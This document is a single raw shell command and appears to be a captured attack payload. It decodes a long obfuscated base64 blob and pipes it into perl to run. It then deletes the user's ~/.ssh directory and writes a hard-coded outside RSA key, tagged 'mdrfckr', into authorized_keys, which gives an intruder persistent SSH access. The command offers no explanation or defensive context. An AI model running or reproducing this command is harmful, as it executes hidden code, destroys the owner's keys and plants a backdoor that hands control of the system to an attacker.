QF8oImBAPzBIQCgiYEAoJ1QqKCJgQCgiIUw4Ny1UKCZFRigiMUM9Nyk/PSZFTTkyYF4vMmBEOUcxSTs2NFsiQmBAPzBIQCgnKUU9JzVSO0JARDhXNVJfN1cxSTs2NEwoIjVQODYtTz0mNVMqM0wqPzBIKiJHLVU4QiFBOFcxSTtWWEA+UEhAKCIhUjk3MVU8RlhAPTZZTDk3LVMoIjBDN1JgXS8yYFEuUEhAXygiIVM5NllEPEYlVyoiKTA0REU2MzUtJygiMT82UyE9KCNJPCwjYFEwNC00MjRdLigiMT82UyU9NyNgUCwyKEkuUEldIkBJUz02KEA4VzFDPCIhW18iQmBAKCcpRT0nNVI7QiFVO0ZRRTxXLEApIi0/KCNUXSgjJFsiQmBAKCctRTtGMVI4NzxIKEUhMjI1OS00VDxAKSVdOywlVEAuRVBQLCMkRDdVTFFfNzVQUCwjJEIqM0wqPzBJUz02KEA7Ny1HKCdMKigiYEA8RjVUPTcpTignNU47JjVTPFJgRChVXEAvM1RALDNMKigiYEA8VjVOOScpQT1SQEI0JSkpXzVEVTMxUmBEN1VMUDcyYFopJV07LDVUQiozTCo/MEgqPFc1QigmWU89JkVDOTIhWyJCYEAoJylFPSc1UjtCIVU7RlFFPFcsQCkiLT8oI1RdKCMkW18iQmBAKCctRTtGMVI4NzxIKERZLzUkRSMxMmBEN1VMUDcyYFopJV07LDVUQiozTCo/MEgqPFc1QigmXVAoJ0wqKCJgQDxGNVQ9NylOKCc1TjsmNVNfPFJgRChVXEAvM1RALDNMKigiYEA8VjVOOScpQT1SQEIzNF0kMTJgRDdVTFA3MmBLO1JgRDdVTFE3MihJLlBJXSJHLVU4QiFEOTZdUCgnTCooImBAXzxGNVQ9NylOKCc1TjsmNVM8UmBEKFVcQC8zVEAsM0wqKCJgQDxWNU45JylBPVJAQjM0XSQxMmBEN1VMUDcyYE07UmBEN1VMUTcyKEkuUEldIkctVV84QiFIO1dgQD5QSEAoImBAPEY1VD03KU4oJzVOOyY1UzxSYEQoVVxALzNUQCwzTCooImBAPFY1TjknKUE9UkBCMzRdJDEyYEQ3VUxQNzJgSzoiYERfN1VMUTcyKEkuUEldIkctVThCIUQ5NkFPPCIhWyJCYEAoJylFPSc1UjtCIVU7RlFFPFcsQCkiLT8oI1RdKCMkWyJCYEAoJy1FO0YxUjg3PEgoRFUvXzEkNEApJV07LCVUQCpWQEApJV07LDVUQiozTCo/MElTPTYoQD1GXUk4VjRAPlBIQCgiIVI5NzFVPEZYQD02WUw5Ny1TKCIwQzdSYF0vMmBRLlBIQF8oIiFTOTZZRDxGJVcqIiktM1QxJSgiMT82UyE9KCJNVigiMT82UyU9KEJEWyJHVCo8VzVCKCYxRT1GXUk4VjRAPlBIQCgiIVI5NzFVPEZYQD02WUxfOTctUygiMEM3UmBdLzJgUS5QSEAoIiFTOTZZRDxGJVcqIiktM1QxJSgiMT82UyE9KCJVVigiMT82UyU9KEJEWyJHVCo8VzVCKCYpQTtCIVsiQmBAXygnKUU9JzVSO0IhVTtGUUU8VyxAKSItPygjVF0oIyRbIkJgQCgnLUU7RjFSODc8SChEVS8xJDRAKSVdOywlVEAqVihAKSVdOyw1VEIqM0wqPzBJU189NihAPTZZQjg2WEA+UEhAKCIhUjk3MVU8RlhAPTZZTDk3LVMoIjBDN1JgXS8yYFEuUEhAKCIhUzk2WUQ8RiVXKiIpLTNUMSUoIjE/NlMhPSgiVUJfKCIxPzZTJT0oQkRbIkdUKjxXNUIoJk1JOFZMQD5QSEAoIiFSOTcxVTxGWEA9NllMOTctUygiMEM3UmBdLzJgUS5QSEAoIiFTOTZZRDxGJVcqIikrXzI0LSsoIjE/NlMhPSgiMT82UyU9KCNIRDdVTFI3MihJLlBJXSJASVM9NihAOzZdRDtSIVsiQmBAKCcpRT0nNVI7QiFVO0ZRRTxXLEApIi0/KCNUXV8oI2BbIkJgQCgnLUU7RjFSODc8SChEVS8xJDRAKSVdOywlVEApJV07LDVUQiozTCo/MElTPTYoQDs2XUQ5MiFbKCZVTzkmXEgwJVxJLlIhXSJASVNfPTYoQDpCIVsoIjlKO1ZFTiokIT8qM0xAPzBJUz02KEA6Rl1JO0IhWyJCYEAoJylFPSc1UjtCIVU7RlFFPFcsQCkiLT8oI1RdKCNgWyJCYEAoJy1FXztGMVI4NzxIKERJLzI0WEApJV07LCVUQiozTCo/MElTPTYoQDwiIVsoJyFBPEcwSDAlXEkuUiFdIkctVThCIVA4NylUKCdNUzk2WUQ8RiVXKiIpMF8wNSk0KCIxPzZTIT0oQkRbPzBIKjxXNUIoJllJOFZMQD5QSEAoJylFPSc1UjtCIVU7RlFFPFcsQCkiLT8oI1RdKCNgWyJCYEA8VjVOOScpQT1SQEJfM0RFIzJSYEQ3VUxQNzIoSS5QSV0iQElTPTYoQDo2WVY6NzFFKCdMKigiYEA8RjVUPTcpTignNU47JjVTPFJgRChVXEAvM1RALDNMKigiYEA8VjVOXzknKUE9UkBCMjRZNjI1MSUoIjE/NlMlPSgiMT82UyE9KEJEWyJHVCo8VzVCKCcxTzwmRUM7UiFbIkJgQCgnKUU9JzVSO0IhVTtGUUU8VyxAKSItP18oI1RdKCMkWyJCYEAoJy1FO0YxUjg3PEgoRTEvNCRFIygiMT82UyE9KCIxPzZTJT0oQkRbIkdUKjxXNUIoJzFPPCZFQygnTEA9Jl1QOjYtTyokIT9fKjNMQD8wSCo8VzVCKCc9SDtWRVMoJ0wqKCIhUjk3MVU8RlhAPTZZTDk3LVMoIjBDN1JgXS8yYFAuUEhAKCctRTtGMVI4NzxIKEU9KDNURTMoIjE/XzZTIT0oQkRbIkdUKjxXNUIoJz1IO1IhWyJCYEA8RjVUPTcpTignNU47JjVTPFJgRChVXEAvM1RALCNMKigiIVM5NllEPEYlVyoiKTcyJFxAKSVdO18sJVRCKjNMKj8wSVM9NihAO0YlTTk3LEA+UEhAKCcpRT0nNVI7QiFVO0ZRRTxXLEApIi0/KCNUXSgjYFsiQmBAPFY1TjknKUE9UkBCM0QlLTE1LEBfKSVdOywlVEIqM0wqPzBJUz02KEA4Nz1BPjIhWyJCYEA8VjVOOScpQT1SQEIwNT0hNjJgRDdVTFA3MihJLlBJXSJHLVU4QiFCODYtSygnTEA4Nz1BXz4yQEkuUiFdIkctVThCIVE9NkVUKCdMKigiIVM5NllEPEYlVyoiKTE1NEU0KCNIRDdVTFA3MihJLlBIQCgmNVg6NzBbIkdUKiJHIUE4Vk1BOVY0QF8xJC0jLlBIKjxXNUIoJi1PO0ZZRThXMUk7VllTKCdMKigiYEA7N0RAMCcpRTg2MVkoI1RAKSYxQzhVXVM5NlBNL0YtQTtFXVI5NiVEKiMkSS5QSEBfKCIhRjtXKUU4Ni1IKCZVWSgiMUY6ImBIMCcpRTg2MVkqMiFbIkJgQCgiYEA7N0RAKSYxQzhXMUk8JlxALzJgRDEkLSM+UjFGOidVWz0mRVA7V1RbXyJCYEAoImBAOzdEQCkmJVI8NzVJPUZcQC8yYEQxJC0jPlIxRjonVVs4NylRPTZFVjtXVFsiQmBAKCJgQDs3REApJilZPSY1UygjVEApJDEjMFdMRF85RkFdPlYpWT0mNVM/M0wqKCJgQCgiIU0+MmBEOFc1UjdWKVk9JjRALzJgRDEkLSM+UjFGOidVWzhXNVI4R0VUOTdUWyJCYEAoImBAOzdEQCkmWUlfOFZMQC8yYEQxJC0jPlIxRjonVVs7RkVDOldUWyJASEAoImBAKCZVWSgiMU08VjxbIkJgQCgiYEA7N0RAKSZZUjk2JUQoI1RAPFdFUzxGNUE5IkBEXzlGQEwoIjFNPFY8TCgjJFAsQzBQKjNMKiJCYEAoImBAOjY4QCoiMU48RjVBOSJgXS8yYFAoJiVOOSJgRDkmLUM9JkVQO1JgXT9CYE83QkFHOTcxXF88VjVOOSYtTztCREQrUkRAPlBIQCgiYEAoImBAKCIxJDBULVspJjlIPzdNUz0mJVQ9Ny1dKCNUQChELUE7Ri1FOyYlRDtSKFsiQmBAKCJgQCgiYEBfKSQxIzBXTEQ5RkFdPlY5VDo2VUU/MmBdKCcxSTs2NFsiQmBAKCJgQCgiYEApJjFDOFVdUzk2UE0vRylFOzZdVjkyQEQ5RkBJLlBIQCgiYEAoImBAXygiMUY6IlReOFZRTzxWNFsiQmBAKCJgQCgiYEA7RjVYPSNMKigiYEAoIiFdIkBIQCgiYEAoJkVGKCJARDkmLUM9JkVQO1IhRTwyYEI5VjVUKEJEQF8+UEhAKCJgQCgiYEAoIjEkMFQtWykmOUg/N01DPTcpQj43MUU/MmBLLzIhTDk2WUc9JkBIKSZVUzlSRFsiQEhAKCJgQCgiYEAoJlVZKCIxQz03KT9fOEdFVDkyYF0oIjEkMFQtWykmOUg/N01DPTcpQj43MUU/M0wqIkJgQCgiYEAoImBAO1chRTtCQSYyNFElKyJgQi9DWEApJiVSPDc1ST1GXEIqM0wqXygiYEAoImBAKCIhUDxGRU49IiEmMjRRJSgiKEQ7Ny1HKEIhSTlCYEgpJi1VPEVdQj43MUUoI1BdKCIxQj43MUU8UkRbIkJgQCgiYEAoImBAOFZRT188VjRIMURFLDEyRFsiQEhAKCJgQCgiYEAoJlVZKCIxUDg2LUs4R0VUOTJgXSgnIUE4VkxIKERYQisiYEQ4VzVSN1YpWT0mNEkuUEhAKCJgQCgiYEBfKCchUjo2WVQoIjFGOiJgQiknIUE4Vk1CPjcxRShDTCoiQmBAKCJgQCgiYEA6NjhAKiIxQj43MUU8UmBdLzJgRDhXNVI3VilZPSY0SSgnTCooImBAXygiYEAoImBAKCJgRDkmLUM3Vy1FOyJUXjxGNU07VzlFKiIxRjoiRFsiQmBAKCJgQCgiYEAoImBAKSY5SCszWUM7Jl1TOTNMKigiYEAoImBAKCJgQF8oImBEMSQtIz5SMUY6J1VbPFcxQT0nNVM/MmBdKCIpMjk2LUU4RkVEO1IoWyJCYEAoImBAKCJgQCgiYEApJDEjMFdMRDlGQV0+VjlUOjZVRT8yYF1fKCcxSTs2NFsiQmBAKCJgQCgiYEAoImBAO0Y1WD0jTCooImBAKCJgQCgiIV0iQmBAKCJgQD8yIUU7Jy1JOUJgSCkmMUM4VzFJPCZcQDk3JEAoRy1FXztGMEIqMiFbIkJgQCgiYEAoImBAKCIhTT4yYEQ8VjVOOSJgXSgiMUY6IlReODYtQzk3IVQuUEhAKCJgQCgiYEAoImBAKSctRTtGME0vRiVVPSZdRl87JzVTOiJAUSozTCooImBAKCJgQCgiYEAoIjFEOFYtPzxWNUwrM1lBOSYwSCknLUU7RjBJLlBIQCgiYEAoImBAKCJgQCkmMUM4VV1TOTZQTS9HKUVfOzZdVjkyQEQ5RkBJLlBIQCgiYEAoImBAKCJgQCkkMSMwV0xEPFY1TjknVVs9JkVQO1dUQC8yYEc8VjVOOSYtTztCPFsiQmBAKCJgQCgiYEAoImBEXzEkLSM+UjFTOTZZRD83TUk9JkVNOTdUQC8yIVQ6NlVFLlBIQCgiYEAoImBAKCJgQCkkMSMwV0xEPFY1TjknVVs7RkVDOldUQC8yYEQ7RkVDOlNMKl8oImBAKCJgQCgiYEAoIjEkMFQtWyknLUU7RjFdPlYpWT0mNVM/MmBdKCIxQj43MUU8U0wqKCJgQCgiYEAoImBAKCIxJDBULVspJy1FO0YxXT5WLVVfPEYpWT0mNV0oI1RALCNMKigiYEAoImBAKCJgQCgiMSQwVC1bKSctRTtGMV0+ViVSPDc1ST1GXV0oI1RAKSYlUjw3NUk9RlxbIkJgQCgiYEAoImBAXygiYEQxJC0jPlIxUzk2WUQ/N01JPCdUQC8yYEQ8VjVOOSJUXjwmNUU8RkFPPFcwWyJCYEAoImBAKCJgQCgiYEQxJC0jPlIxUzk2WUQ/N01QO1cpVF84N1RALzJgRDxWNU45IlRePCY1RTxHIU88RzBbIkJgQCgiYEAoImBAKCJgRDEkLSM+UjFTOTZZRD83TVM9JiVUPTctXSgjVEAoRDVOPUZFQTtGMU9fKENMKiJCYEAoImBAKCJgQCgiIU88JjVOKiQ5KTMkNEwoIihcKCIxQTxHJVU6NzlPKEJEWyJCYEAoImBAKCJgQCgiIU0+MmBEOUYpWT0mNVMuUEhAXygiYEAoImBAKCJgQDxGNUE5IkEmMjRRJSsiYEQ5RilZPSY1UysiYFEsIyhUKjNMKigiYEAoImBAKCJgQCgnIVI6NllUKCIxUzk2WUQoIihEOUYpWV89JjVTKENMKigiYEAoImBAKCJgQCgmLUw7Vy1FKCQ5KTMkNFsiQmBAKCJgQD8yIUU7Jy1JOUJgSCkmMUM4VzFJPCZcQDk3JEApVy1FO0YxQztWWEdfKjIhWyJCYEAoImBAKCJgQCgiIU0+MmBEOEdFVDk3LT88VjVOOSY1RCgjVEA9NllQODYtSyoiKS4oQlBAKSZVUzlSRFsiQmBAKCJgQCgiYEAoImBEXzEkLSM+UjFGOidVWzhXNVI4R0VUOTdUQC8yYEQ4R0VUOTctPzxWNU45JjVELlBIQCgiYEAoImBAKCJgQDo2OEAqIjFCPjcxRTxVXVM5NllEOTYwQF8vM1RAKSYpWT0mNVMqMiFbIkJgQCgiYEAoImBAKCJgQCgiYEQ5RkBNL0YtTDtXLUUuUEhAKCJgQCgiYEAoImBAKCJgQCkmMUM4VV1TOTZQTS9HKUVfOzZdVjkyQEQ5RkBJLlBIQCgiYEAoImBAKCJgQCgiYEApJDEjMFdMRDlGQV0+Vy1UODcxVTxXVEAvMmBCMTZZVjo2JUQ7UihbIkJgQCgiYEAoImBAXygiYEAoImBEMSQtIz5SMUY6J1VbOUcxSTs2NV0oI1RAPSZFTTkzTCooImBAKCJgQCgiYEAoImBAKCZZRT4nMFsiQmBAKCJgQCgiYEAoIiFdIkJgQF8oImBAKCJgQCgiIU88JjVOKiUtJTNEMSYyNFElKyJgQi8iYEQ4NylRPTZFVjtSKEkuUEhAKCJgQCgiYEAoImBAPFY1RTpSQTMxNFkkMURFLDEyUEBfKSYpWT0mNVM3Vy1FO0YxRTkiUEAsIkRbIkJgQCgiYEAoImBAKCIhTT4yYEQ8VjVOOSVdQj43MUU8U0wqKCJgQCgiYEAoImBAKCcpRTg2MEg0VDUuXzEkOSkzJDRMKCIxUzk2WUQ3VilZPSY1UysiYFEsIyhUKjNMKigiYEAoImBAKCJgQCgnIVI6NllUKCIxRjoiYEIpJy1FO0YxPzhHRVQ5NyxCLlBIQF8oImBAKCJgQCgiYEA4VlFPPFY0SDRUNS4xJDkpMyQ0SS5QSEAoImBAKCdUKigiYEA/MEldIkBIKjxXNUIoJS0lM0QwQD5QSEAoJlVZKCJARDtGRUNfOlJQQCkmJVI8NzVJPUZcSSgjVEAwJVxbIkJgQD02WUw5Ny1TKCJATTxCYEIpJiVSPDc1ST1GXEIqMiFbIkJgQCgiIVI5NzFVPEZYSCwiRFsiQmBAXz8wSCooIiFNPjJgRDkmLUM4NylLKCNUQCkmJVI8NzVJPUZcWyJCYEApJjFDOFYlUjpSYF0/QiFTK1VMTipFUE83MkE8NFJMSStSMFErU0wqIkJgQF87N0RAKSZVRT02RVAoI1RAKSNIWjo3KUM3Vy1FPEc5RTxHLVsoQjBaLkRFMjBVXUM9Nyk/PFZdQzpWNVQoR1VbKVZVRT02RVApV1RbIkJgQDs3REBfKSZRTztGPUk8ImBdKCc1TjwmJUM6UkBCM0IoTDo2WUU9JV1BPSZdTioiMU05NzVJPCJESS5QSCooIiFNPjIhYDlGRUw5Ny1UODcwQC8yIVM9JiVUXyoiMUE8RyVVOjc5TyozTCooIiFNPjJgRDxWRVo5NV1UO1cxQTsjVEQ5RkVMOTctVDg3MTstVVRbIkJgQDo2OEAqIjFTOjdJRTdXMU89JiVMKCNUXV8oI2BJKCdMKigiYEAoIiFSOTcxVTxGWEgsIkRbIkJgQD8wSCooIiFNPjJgSCknIU88RzFBKyJgRDxWNU45Jy1POFZMSS5QSEAoJjFPKCdMKigiYEBfKCIxUDtXKVQ4MmBdKCZFTj0iIVI4NllEKiM4VC0zJFEqM0wqKCJgQCgiMVA7VylUODJgSy8yYFEsIyhULlBIQCgiYEApJy1FO0YxUztWLUsoI1RAXzI0XFouRS1POFZNRT0jSFoyNFklNSJUXjtGNVcqJFFJPFcxRTtDVF4sMlBAMyZdQzg2UTA7VylUKCNUXiknIU88RzFBKyIhMDxGXVQ7UmBdL0JgR189Ji1QKVJEQDg2WUQoIjFEOFYtPzxWNUwrM1lBOSYwSCknLUU7RjFTO1YtSyozTCooIiFdKCc1Tj0mRUwoIjFTOTZZRDxWXUM6U0wqIkJgQCkkMSNfMFdMRDxWNU45Jy1POFZNXT5XMUk8Jl1dKCNUQClXLUU7RjBHLlBIQCgiMSQwVC1bKSctRTtGMVM7Vi1LPzdNTjo2LUs/MmBdKCIxTjo2LUsuUEhAXygiMSQwVC1bKSctRTtGMVM7Vi1LPzdNQj43MUU8V1RALzJgRDxWRVo5NV1UO1cxQTsjTCooImBEMSQtIz5SMVM5NllEPFZdQzpXVVs4NylRPTZFVl87V1RALzJgRDg3KVE9NkVWO1NMKiJASEAoIjhaLkYtVDhXYEgoQjFOOjYtSyhCUEAoRDEjMFIhMzE0WSQoIjFEOFYtQTxGTEApJlFPO0Y9STwiYERfPCZdUj0mJEApJy1JPkY1Pz0mXVQ4NlBCKjNMKiJHVCoiRy1VOEIhJzE1MEA+UEhAKCZVWSgiQEQ4NylRPTZFVjtSUEApJjFDOFZRTztGPUk8IlBAXykmMUM4VyFPPEcxQSsiYEQ4R0VUOTcsTCgiMU46Ni1LKjJgXSgkIT8uUEhAKCcpRT0nNVI7QkBQKjIhSTlCYEgrNjRAKEIxQTxHJVU6NzlPKEJEW18iQmBAOjY4QComXVA5NlhIMURFLDEyUEAoQ1hAKSYlUjw3NUk9RlxCKjJEQD5QSEAoImBAKCYtTDtXLUUoJDkpMyQ0WyJCYEA/MiFFOyctRSgnTCpfKCJgQCgnKUU9JzVSO0JAUCozTCooIiFdIkBIQCgmVVkoIjFEOFYtSTwjVUY6N0FBOSYxUioiMUQ4Vi1MO1ZZRzo3YEkuUEhAKCcpRT0nNVI7QkBQXyoyIUk5QmBIKSYxQzhXIU88RzFBKCNQQCwzYFItIiFPPEIhTjtXMEA5JjVGOjZZRTkiYEQ5Ji1DOjdgQDtXKEApJilZPSY1UygjUEAsMkRbIkJgQF87N0RAKSYxQzhXLU84VkxALzIhKTNTSFo0Vl1DOlY1VC5DSSkzRDU0KzNZTjk3PEg0JylPPSZcXS9CKVQ4V2BCKyIhMDk2NVIwNjFEPENUXikmMUNfOFZFUCsiITA5NjVSNCZdUj0jVF4pJjFDOFchTzxHMUErIiE0OjZVRTtXNVQvM1hRLTJEQDtXKEA8RjVUPTcpTigiQFAqM0wqKCJgRDkmLUM8Vl1DXzpSVF44NzVUO1Y5TD03LUgqIyRJLlBIQCgiMUQ4Vi0/PFY1TCszWUE5JjBIKSYxQzhXLU84VkxJLlBIQCgiMSQwVC1bKSYxQzhXLU84Vk1dPlcxSV88Jl1dKCNUQClWPUU9IjxbIkJgQCkkMSMwV0xEOSYtQzxWXUM6V1VbOjcxSTs2NV0oI1RAPSZFTTkzTCooImBEMSQtIz5SMUQ4Vi1TO1YtSz83TU5fOjYtSz8yYF0oIjFOOjYtSy5QSEAoIjEkMFQtWykmMUM4Vy1POFZNXT5WKVk9JjVTPzJgXSgiMUI+NzFFPFNMKigiYEQxJC0jPlIxRDhWLVM7Vi1LXz83TUM9NylCPjcxRT8yYF0oI2BbIkJgQCkkMSMwV0xEOSYtQzxWXUM6V1VbODcpUT02RVY7V1RALzJgRDg3KVE9NkVWO1NMKigiYEQxJC0jPlIxRF84Vi1TO1YtSz83TUk8J1RALzJgRDkmLUM6N2BbIkJgQCkkMSMwV0xEOSYtQzxWXUM6V1VbPCZdUj0mJV0oI1RAKSYxQzhXIU88RzFBLlBIQCgiMSRfMFQtWykmMUM4Vy1POFZNXT5XLVQ4NzFVPFdUQC8yYEI0RjVDOTYpRTtGMU8oQ0wqPzBIKjxXNUIoJS1UODcxVTxSIVsiQmBAOzdEQCknLU84Vk1FXz0iYF0oJy1IOjY5VC5QSEAoJlVZKCIxUztWLUs3VzFJPCZcQC8yYEQxJC0jPlIxUztWLUs5NzFdPlcxSTwmXV0uUEhAKCc1TjsmNVM8UmBIOyYsSF8pJy1POFZNPz0mRVA7UkRAOTckQChGLUg4NzBCKjIhWyJCYEAoIiFNPjJgRDtGRUM6UmBdKCIxJDBULVspJy1POFZNRT0nVVs7RkVDOldUWyJCYEBfKCIhTT4yYEQ4NylRPTZFVjtSYF0oIjEkMFQtWyknLU84Vk1FPSdVWzg3KVE9NkVWO1dUWyJCYEAoIiFNPjJgRDo3MUk7NjRALzJgRDEkLSM+UjFTXztWLUs5NzFdPlZFVDo2VUU/M0wqKCJgQCgmVVkoIjFGPSZFTTkyYF0oJzFJOzY0WyJCYEAoIiFNPjJgRDxXMUE9JzVTKCNUQCkkMSMwV0xEPFZdQ186VjVUPzdNUz0mJVQ9Ny1dLlBIQCgiYEApJjlUOjZVRSgjVEApJDEjMFdMRDxWXUM6VjVUPzdNRj0mRU05N1RAOjY4QDkmNUY6NllFOSJARDEkLSNfPlIxUztWLUs5NzFdPlY5VDo2VUU/MkRbIkBIQCgiYEA7N0RAKSYxPz0mRU05MmBdKCIxRj0mRU05MlREOjcxSTs2NFsiQEhAKCJgQDs3REApJi1VXzxFXUI+NzFFKCNUQCkkMSMwV0xEPFZdQzpWNVQ/N01DPTcpQj43MUU/M0wqKCJgQCgmVVkoIjFCPjcxRTxVXVQ7VzFBOyJgXSgiYEQxJC0jPlIxU187Vi1LOTcxXT5WKVk9JjVTPzNMKiJCYEAoIiFNPjJgRDxGJVQ5MmBdKCNgWyJCYEAoImBEPEYlVDkyYF0oIkBEOFc1UjdWKVk9JjRPLDNgUi0iRE9fKSYxPz0mRU05MiFJOUJgRDhXNVI3VilZPSY0QC9CYFAuUEhAKCJgQDs3REApJyFPPEYtRTtCYF0oIkBEOFc1UjdWKVk9JjRKLDNgUCoyXEQ4R0VUXzk3LT89Jl1UODZQWyJASEAoImBAOzdEQCoiMVI3VjFVPUJQQCknIT85JzVWKjNMKigiYEAoJkVGKCJARDxGJVQ5MmBdP0JgTzdCQTw5IkxJNyJYSF83JjBJKiVRRCoyQTw5IkRPKjIhWyJCYEAoImBAKCJgRDxFXUQ9NzhALzJgRCxTTEApJyk/OSc1VipSTEA6NjhAKSMwQC9DVEAtM0wqKCJgQCgiYEBfKCIxUjg3MUUoI1RAKEIwUTciWEQsQihOKEIxUjdWMVU9QihbIkJgQCgiIV0iQmBAKCIhSTlCYEgpJyFPPEYtRTtCYF0/QmBPN0JBPDkiTEk3IlhIXzcmMEkqJVFEKjJBPDkiRE8qMiFbIkJgQCgiYEAoImBEPCVdRD03OEAvMmBELFNMQCknIT85JzVWKlJMQDo2OEApIzBAL0NUQC0zTCooImBAKCJgQF8oIjFQO1cpQzk2WEAvMmBCKSMlPCtCMFIoQlhCKSchPzknNVYoQ0wqKCJgQCgnVCooImBAKCcpRT0nNVI7QkBCKSctTzhWTT89JkVQO1IoTChCMVNfPSYlVD03LEIrIihEO0ZFQzpSKEwoQjFBPEclVTo3OU8oQlBCKSYpWT0mNVM3VzFPPSYlTChCUEAoQjFDPTcpPzhHRVQ5MihMKEIxRDdXMUk7NjRCXysiYEIpJylBPSY0QisiYEIpJyFPPEYtRTtCKEkuUEhAKCdUKiJASEAoJylFPSc1UjtCQFAqM0wqPzBIKiJHLVU4QiFGOjdBQTkmMVIoJ0wqKCJgQF8oJlVZKCJARDg2MUQ8RjVTPFJEQC8yIWA3U0wqIkJgQCgiIUM6Jl1NPCJgRDg2MUQ8RjVTPFNMQCgiYEAoYEhAKCJgQDo2OEAqIjFBOSYxUjk3LVNfKCNVXigiXT43JjBLKSJcSSgnTCooImBAKCJgQCgiIVI5NzFVPEZYQDo2WUU9JV1OPSZdQSonIUE4VkxAKERYQisiYEQ4NjFEPEY1UzxSRFsiQmBAXygiIV0oJjVMPFZFRigiQEQ4NjFEPEY1UzxSYF0/QmBPN0VMUSxFVF83JjFbLDJQUj81UE42UyRSNzNdPDknTFErIyldNyJZOywzKT0vVVFEPlMkTF8sR1U8K0VMUSxFVF83JjFbLDJQUj8yME8qMiFbIkJgQCgiYEAoImBAPEY1VD03KU4oIjFBOSYxUjk3LVMuUEhAKCJgQD8yIUU7Jy1JOUJgSCkmJURfOScpRTxXLEAvN1hAPScoTzgyVVowMlU6K1JcSSgnTEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoYEhAKCJgQCgiYEAoJylFPSc1UjtCIUk7RjVUXzdWWVQ7ViRIKiJBRzk3MUg7Vy1UOEdFTjg2VUUqIjFBOSYxUjk3LVMqMkU7LSVUSTZTIT0qM0wqKCJgQCgnVEA5NlFTOTIhWyJCYEAoImBAKCJgQC88RjVUPTcpTi5QSEAoImBAPzBJXX0=" | base64 --decode | perl cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh